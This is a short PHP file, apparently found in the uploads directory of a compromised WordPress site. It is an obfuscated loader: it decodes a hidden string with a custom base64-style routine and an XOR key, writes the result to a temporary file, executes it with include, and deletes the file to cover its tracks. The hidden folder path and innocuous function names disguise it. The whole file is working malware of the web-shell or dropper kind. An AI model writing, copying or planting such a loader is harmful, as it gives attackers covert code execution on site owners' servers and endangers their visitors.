File: C:/Inetpub/vhosts/ghanaschoolsupport.com/httpdocs/wp-content/uploads/2024/.cache/modules/crab.php
<?php
$encrypted = 'GEMQAAYRAABOW1AtDgBFNB8cAghDDw';
if (!function_exists('hornet')) {
function hornet($data, $key) {
$alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_';
$bin = '';
for ($i = 0; $i < strlen($data); $i++) {
$index = strpos($alphabet, $data[$i]);
$bin .= str_pad(decbin($index), 6, '0', STR_PAD_LEFT);
}
$bytes = '';
for ($i = 0; $i < strlen($bin); $i += 8) {
$chunk = substr($bin, $i, 8);
if (strlen($chunk) < 8) break; // если меньше 8 бит — игнорируем
$bytes .= chr(bindec($chunk));
}
$res = '';
$klen = strlen($key);
for ($i = 0; $i < strlen($bytes); $i++) {
$res .= $bytes[$i] ^ $key[$i % $klen];
}
return $res;
}
}
file_put_contents($tmp = tempnam(sys_get_temp_dir(), 'shf_'), hornet($encrypted, 'caterpillar'));
include $tmp;
unlink($tmp);
?>